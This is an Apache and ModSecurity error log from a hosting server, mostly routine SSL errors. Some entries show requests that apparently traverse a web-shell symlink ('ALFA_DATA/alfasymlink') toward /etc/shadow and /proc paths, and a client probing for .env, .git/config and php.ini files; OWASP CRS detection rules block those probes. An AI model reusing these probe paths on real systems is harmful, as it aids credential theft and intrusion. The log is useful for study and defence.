[Tue Oct 27 05:54:26.207424 2026] [security2:error] [pid 3201641:tid 3201641] [client 52.202.233.37:13186] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:20/subsystem/devices/PNP0303:00/subsystem/devices/PNP0A03:00/physical_node/0000:00:05.0/driver/0000:00:04.0/"] [unique_id "auB00h6MTIKaGGLTiEIZHAAAAAc"]
[Tue Oct 27 05:54:26.207464 2026] [security2:error] [pid 3201641:tid 3201641] [client 52.202.233.37:13186] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:20/subsystem/devices/PNP0303:00/subsystem/devices/PNP0A03:00/physical_node/0000:00:05.0/driver/0000:00:04.0/"] [unique_id "auB00h6MTIKaGGLTiEIZHAAAAAc"]
[Tue Oct 27 05:54:30.186969 2026] [core:error] [pid 3212771:tid 3212771] (13)Permission denied: [client 3.208.146.193:27464] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/memory/devices/memory12/node0/cpu1/firmware_node/physical_node/node0/compact
[Tue Oct 27 05:54:32.712237 2026] [security2:error] [pid 3209616:tid 3209616] [client 170.106.35.137:45566] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "sherwinpinturas.com"] [uri "/escuelas1.com/"] [unique_id "auB02BpfUBgvi1kircRTywAAABg"]
[Tue Oct 27 05:54:32.713691 2026] [authz_core:error] [pid 3209616:tid 3209616] [client 170.106.35.137:45566] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/escuelas1.com/php.ini
[Tue Oct 27 05:54:34.320378 2026] [ssl:error] [pid 3209603:tid 3209603] (70014)End of file found: [client 44.215.61.66:33791] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 05:55:02.213306 2026] [ssl:error] [pid 3209616:tid 3209616] (5)Input/output error: [client 23.21.175.228:34826] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 05:55:10.183240 2026] [ssl:error] [pid 3209601:tid 3209601] (70014)End of file found: [client 3.213.85.234:1433] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 05:55:14.349621 2026] [ssl:error] [pid 3209604:tid 3209604] (70014)End of file found: [client 23.22.105.143:55361] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 05:55:18.171907 2026] [ssl:error] [pid 3201647:tid 3201647] (70014)End of file found: [client 3.93.98.99:61462] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 05:55:22.049218 2026] [core:error] [pid 3201656:tid 3201656] (13)Permission denied: [client 16.216.88.130:16384] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/etc/shadow.nouids.cache
[Tue Oct 27 05:55:26.204668 2026] [ssl:error] [pid 3209603:tid 3209603] (70014)End of file found: [client 18.208.11.93:26713] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 05:55:34.297970 2026] [ssl:error] [pid 3209604:tid 3209604] (70014)End of file found: [client 3.208.146.193:6469] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 05:55:38.165138 2026] [ssl:error] [pid 3209611:tid 3209611] (70014)End of file found: [client 52.71.216.196:22549] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 05:55:58.266355 2026] [ssl:error] [pid 3209601:tid 3209601] (70014)End of file found: [client 52.21.62.139:53458] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 05:56:02.177906 2026] [ssl:error] [pid 3209604:tid 3209604] (70014)End of file found: [client 34.231.156.59:9317] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 05:56:06.183486 2026] [ssl:error] [pid 3201641:tid 3201641] (70014)End of file found: [client 18.207.79.144:10510] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 05:56:12.188031 2026] [core:crit] [pid 3201640:tid 3201640] (13)Permission denied: [client 216.244.66.250:55698] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/42/fd/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/42/fd/' is executable
[Tue Oct 27 05:56:12.188105 2026] [core:crit] [pid 3201640:tid 3201640] (13)Permission denied: [client 216.244.66.250:55698] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/42/map_files/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/42/map_files/' is executable
[Tue Oct 27 05:56:12.188155 2026] [core:crit] [pid 3201640:tid 3201640] (13)Permission denied: [client 216.244.66.250:55698] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/42/fdinfo/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/42/fdinfo/' is executable
[Tue Oct 27 05:56:18.179611 2026] [ssl:error] [pid 3209611:tid 3209611] (70014)End of file found: [client 3.213.46.222:15909] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 05:56:26.156595 2026] [ssl:error] [pid 3212771:tid 3212771] (70014)End of file found: [client 52.5.242.243:21466] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 05:56:29.840455 2026] [ssl:error] [pid 3209603:tid 3209603] (70014)End of file found: [client 185.191.171.18:30530] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 05:56:30.176069 2026] [ssl:error] [pid 3201656:tid 3201656] (70014)End of file found: [client 23.23.104.107:11657] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 05:56:50.151609 2026] [security2:error] [pid 3209601:tid 3209601] [client 44.220.2.97:30720] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/memory/devices/memory3/node0/memory12/node0/memory4/"] [unique_id "auB1YgJ0bI7Z9n11TMABhAAAAAA"]
[Tue Oct 27 05:56:50.151660 2026] [security2:error] [pid 3209601:tid 3209601] [client 44.220.2.97:30720] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/memory/devices/memory3/node0/memory12/node0/memory4/"] [unique_id "auB1YgJ0bI7Z9n11TMABhAAAAAA"]
[Tue Oct 27 05:56:54.149325 2026] [core:error] [pid 3209611:tid 3209611] (13)Permission denied: [client 44.194.139.149:43205] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/class/tty/tty32/subsystem/ttyS0/device/subsystem/drivers/alarmtimer/bind
[Tue Oct 27 05:56:58.296370 2026] [ssl:error] [pid 3201656:tid 3201656] (70014)End of file found: [client 18.207.79.144:25162] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 05:57:06.146439 2026] [ssl:error] [pid 3201656:tid 3201656] (70014)End of file found: [client 100.29.128.75:34369] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 05:57:06.821180 2026] [core:error] [pid 3201641:tid 3201641] (13)Permission denied: [client 216.244.66.250:59012] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/sysrq-trigger
[Tue Oct 27 05:57:14.212954 2026] [ssl:error] [pid 3209601:tid 3209601] (70014)End of file found: [client 52.204.174.139:39329] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 05:57:22.147559 2026] [ssl:error] [pid 3201647:tid 3201647] (5)Input/output error: [client 107.23.62.75:21967] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 05:57:29.630502 2026] [security2:error] [pid 3209616:tid 3209616] [client 45.148.10.122:48042] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.env"] [unique_id "auB1iRpfUBgvi1kircRT1AAAABg"]
[Tue Oct 27 05:57:29.656581 2026] [security2:error] [pid 3209616:tid 3209616] [client 45.148.10.122:48042] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.env"] [unique_id "auB1iRpfUBgvi1kircRT1AAAABg"]
[Tue Oct 27 05:57:29.657012 2026] [security2:error] [pid 3209616:tid 3209616] [client 45.148.10.122:48042] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.env"] [unique_id "auB1iRpfUBgvi1kircRT1AAAABg"]
[Tue Oct 27 05:57:29.994653 2026] [security2:error] [pid 3201656:tid 3201656] [client 45.148.10.122:48048] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.local"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.env.local"] [unique_id "auB1iUmqTSs7laY6jMTiTAAAABc"]
[Tue Oct 27 05:57:29.996334 2026] [security2:error] [pid 3201656:tid 3201656] [client 45.148.10.122:48048] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.env.local"] [unique_id "auB1iUmqTSs7laY6jMTiTAAAABc"]
[Tue Oct 27 05:57:29.996597 2026] [security2:error] [pid 3201656:tid 3201656] [client 45.148.10.122:48048] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.env.local"] [unique_id "auB1iUmqTSs7laY6jMTiTAAAABc"]
[Tue Oct 27 05:57:30.320221 2026] [security2:error] [pid 3201641:tid 3201641] [client 45.148.10.122:48050] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.production"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.env.production"] [unique_id "auB1ih6MTIKaGGLTiEIZJgAAAAc"]
[Tue Oct 27 05:57:30.321883 2026] [security2:error] [pid 3201641:tid 3201641] [client 45.148.10.122:48050] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.env.production"] [unique_id "auB1ih6MTIKaGGLTiEIZJgAAAAc"]
[Tue Oct 27 05:57:30.322169 2026] [security2:error] [pid 3201641:tid 3201641] [client 45.148.10.122:48050] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.env.production"] [unique_id "auB1ih6MTIKaGGLTiEIZJgAAAAc"]
[Tue Oct 27 05:57:30.614203 2026] [core:error] [pid 3209601:tid 3209601] (13)Permission denied: [client 216.244.66.250:44376] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/boot/initramfs-4.18.0-80.el8.x86_64kdump.img
[Tue Oct 27 05:57:31.925858 2026] [security2:error] [pid 3209611:tid 3209611] [client 45.148.10.122:48098] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "auB1i5ekxYBRCO5jo1OG9AAAABA"]
[Tue Oct 27 05:57:31.927456 2026] [security2:error] [pid 3209611:tid 3209611] [client 45.148.10.122:48098] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "auB1i5ekxYBRCO5jo1OG9AAAABA"]
[Tue Oct 27 05:57:31.927693 2026] [security2:error] [pid 3209611:tid 3209611] [client 45.148.10.122:48098] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "auB1i5ekxYBRCO5jo1OG9AAAABA"]
[Tue Oct 27 05:57:34.169552 2026] [ssl:error] [pid 3209603:tid 3209603] (70014)End of file found: [client 18.232.36.1:41157] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 05:57:46.193385 2026] [ssl:error] [pid 3201641:tid 3201641] (70014)End of file found: [client 35.169.102.85:4849] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 05:57:50.147292 2026] [ssl:error] [pid 3209601:tid 3209601] (70014)End of file found: [client 34.195.60.66:9911] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 05:57:54.385406 2026] [ssl:error] [pid 3212771:tid 3212771] (70014)End of file found: [client 54.156.55.147:64768] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 05:57:58.313454 2026] [core:error] [pid 3201647:tid 3201647] (13)Permission denied: [client 44.212.232.231:41906] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/root/sys/class/tty/tty21/subsystem/tty0/subsystem/ttyS3/closing_wait
[Tue Oct 27 05:58:02.201350 2026] [ssl:error] [pid 3209603:tid 3209603] (70014)End of file found: [client 54.84.161.62:27390] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 05:58:18.151992 2026] [ssl:error] [pid 3209601:tid 3209601] (70014)End of file found: [client 3.223.181.32:18608] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 05:58:26.205609 2026] [ssl:error] [pid 3201647:tid 3201647] (70014)End of file found: [client 54.156.55.147:17317] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 05:58:29.402988 2026] [authz_core:error] [pid 3209603:tid 3209603] [client 216.244.66.250:40598] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/beta/PHPMailer/src/error_log
[Tue Oct 27 05:58:30.327787 2026] [ssl:error] [pid 3209616:tid 3209616] (70014)End of file found: [client 54.84.161.62:49300] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 05:58:34.261913 2026] [ssl:error] [pid 3201640:tid 3201640] (70014)End of file found: [client 35.173.38.202:32591] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 05:58:42.134466 2026] [core:error] [pid 3209601:tid 3209601] (13)Permission denied: [client 18.215.49.176:48432] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/pci0000:00/0000:00:01.0/firmware_node/physical_node/firmware_node/PNP0B00:00/physical_node/subsystem/drivers_probe
[Tue Oct 27 05:58:46.150438 2026] [ssl:error] [pid 3212771:tid 3212771] (70014)End of file found: [client 54.91.122.193:61891] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 05:58:58.259880 2026] [core:error] [pid 3209603:tid 3209603] (13)Permission denied: [client 54.166.126.132:46395] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/node/devices/node0/cpu1/firmware_node/subsystem/devices/PNP0A03:00/physical_node/0000:00:05.0/driver/0000:00:04.0/subsystem/drivers/vmd/module/uevent
[Tue Oct 27 05:59:02.152783 2026] [ssl:error] [pid 3209616:tid 3209616] (70014)End of file found: [client 98.84.200.43:7985] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 05:59:18.398807 2026] [ssl:error] [pid 3201647:tid 3201647] (70014)End of file found: [client 3.213.106.226:56411] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 05:59:22.188438 2026] [ssl:error] [pid 3209611:tid 3209611] (70014)End of file found: [client 18.211.148.239:31977] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 05:59:26.197204 2026] [ssl:error] [pid 3209603:tid 3209603] (70014)End of file found: [client 50.19.221.48:24288] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 05:59:27.899040 2026] [ssl:error] [pid 3209616:tid 3209616] (70014)End of file found: [client 185.191.171.11:54862] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 05:59:30.148945 2026] [ssl:error] [pid 3201640:tid 3201640] (70014)End of file found: [client 98.82.63.147:53599] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 05:59:34.264703 2026] [ssl:error] [pid 3201641:tid 3201641] (70014)End of file found: [client 44.195.50.71:36364] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 05:59:42.319757 2026] [ssl:error] [pid 3212771:tid 3212771] (70014)End of file found: [client 44.215.235.20:18430] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 05:59:50.376270 2026] [ssl:error] [pid 3201647:tid 3201647] (70014)End of file found: [client 98.82.40.168:1386] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 05:59:51.047589 2026] [ssl:error] [pid 3209611:tid 3209611] (70014)End of file found: [client 85.208.96.194:23708] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 05:59:58.165179 2026] [core:error] [pid 3209616:tid 3209616] (13)Permission denied: [client 34.234.200.207:4771] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/PNP0A06:00/subsystem/devices/ACPI0010:00/subsystem/drivers/pvpanic/unbind
[Tue Oct 27 06:00:02.215604 2026] [ssl:error] [pid 3201640:tid 3201640] (70014)End of file found: [client 44.223.232.55:63847] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 06:00:12.503450 2026] [core:error] [pid 3209604:tid 3209604] (13)Permission denied: [client 85.208.96.201:57700] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/xfrm_state/alloc_calls
[Tue Oct 27 06:00:17.729062 2026] [core:error] [pid 3209611:tid 3209611] (13)Permission denied: [client 16.216.88.132:24576] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/scripts/create_default_featurelist
[Tue Oct 27 06:00:18.151433 2026] [ssl:error] [pid 3209603:tid 3209603] (70014)End of file found: [client 34.199.252.22:29639] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 06:00:22.156676 2026] [core:error] [pid 3201656:tid 3201656] (13)Permission denied: [client 18.206.47.187:1535] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/memory/devices/memory5/subsystem/devices/memory11/node0/cpu0/crash_notes_size
[Tue Oct 27 06:00:30.898503 2026] [ssl:error] [pid 3212771:tid 3212771] (5)Input/output error: [client 18.211.39.188:30993] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 06:00:38.168806 2026] [ssl:error] [pid 3201647:tid 3201647] (70014)End of file found: [client 18.213.27.222:15609] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 06:00:45.571249 2026] [ssl:error] [pid 3209616:tid 3209616] (70014)End of file found: [client 185.191.171.11:64332] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 06:00:46.176022 2026] [ssl:error] [pid 3201656:tid 3201656] (70014)End of file found: [client 3.217.82.254:35332] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 06:00:50.143015 2026] [ssl:error] [pid 3201640:tid 3201640] (70014)End of file found: [client 98.83.10.183:20252] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 06:00:54.293906 2026] [core:error] [pid 3201641:tid 3201641] (13)Permission denied: [client 3.224.104.67:59544] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/node/devices/node0/cpu1/firmware_node/subsystem/devices/PNP0A03:00/device:01/physical_node/subsystem/drivers/ata_piix/0000:00:01.1/driver/uevent
[Tue Oct 27 06:01:03.519527 2026] [authz_core:error] [pid 3209611:tid 3209611] [client 130.12.180.166:18848] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/arg2/php.ini
[Tue Oct 27 06:01:03.585578 2026] [authz_core:error] [pid 3209603:tid 3209603] [client 130.12.180.176:60716] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/arg1/php.ini
[Tue Oct 27 06:01:14.265926 2026] [ssl:error] [pid 3201640:tid 3201640] (70014)End of file found: [client 34.233.114.237:23238] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 06:01:22.142768 2026] [ssl:error] [pid 3209601:tid 3209601] (70014)End of file found: [client 44.221.105.234:58501] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 06:01:26.239295 2026] [ssl:error] [pid 3209604:tid 3209604] (70014)End of file found: [client 52.0.105.244:19048] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 06:01:30.224809 2026] [ssl:error] [pid 3201647:tid 3201647] (70014)End of file found: [client 34.192.125.239:48281] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 06:01:38.157135 2026] [ssl:error] [pid 3209603:tid 3209603] (70014)End of file found: [client 52.70.123.241:61515] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 06:01:46.337180 2026] [ssl:error] [pid 3209601:tid 3209601] (70014)End of file found: [client 98.83.8.142:60693] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 06:01:50.458851 2026] [core:error] [pid 3212771:tid 3212771] (13)Permission denied: [client 52.5.242.243:44185] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:20/subsystem/devices/device:01/subsystem/drivers/hpet/uevent
[Tue Oct 27 06:01:58.148096 2026] [ssl:error] [pid 3209603:tid 3209603] (70014)End of file found: [client 52.45.92.83:46258] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 06:02:02.077855 2026] [ssl:error] [pid 3201656:tid 3201656] (70014)End of file found: [client 185.191.171.3:51322] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 06:02:05.529984 2026] [core:crit] [pid 3201641:tid 3201641] (13)Permission denied: [client 139.162.88.198:35722] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Tue Oct 27 06:02:18.273592 2026] [ssl:error] [pid 3209604:tid 3209604] (70014)End of file found: [client 18.208.11.93:60467] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 06:02:22.169979 2026] [ssl:error] [pid 3209616:tid 3209616] (70014)End of file found: [client 3.90.73.206:6499] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 06:02:30.148282 2026] [ssl:error] [pid 3201640:tid 3201640] (70014)End of file found: [client 44.194.139.149:21307] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 06:02:30.259678 2026] [authz_core:error] [pid 3201641:tid 3201641] [client 45.198.224.125:45614] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Tue Oct 27 06:02:42.146234 2026] [ssl:error] [pid 3209611:tid 3209611] (5)Input/output error: [client 44.207.69.106:39757] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 06:02:50.185500 2026] [core:error] [pid 3209603:tid 3209603] (13)Permission denied: [client 54.163.136.244:45926] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/root/sys/class/tty/ttyS1/device/tty/ttyS2/irq
[Tue Oct 27 06:03:14.309923 2026] [ssl:error] [pid 3201647:tid 3201647] (70014)End of file found: [client 3.217.82.254:28050] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 06:03:22.138780 2026] [ssl:error] [pid 3209604:tid 3209604] (70014)End of file found: [client 3.227.180.70:7946] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 06:03:26.179734 2026] [ssl:error] [pid 3201656:tid 3201656] (70014)End of file found: [client 3.235.215.92:64296] AH02013: coalesce failed to read from data bucket
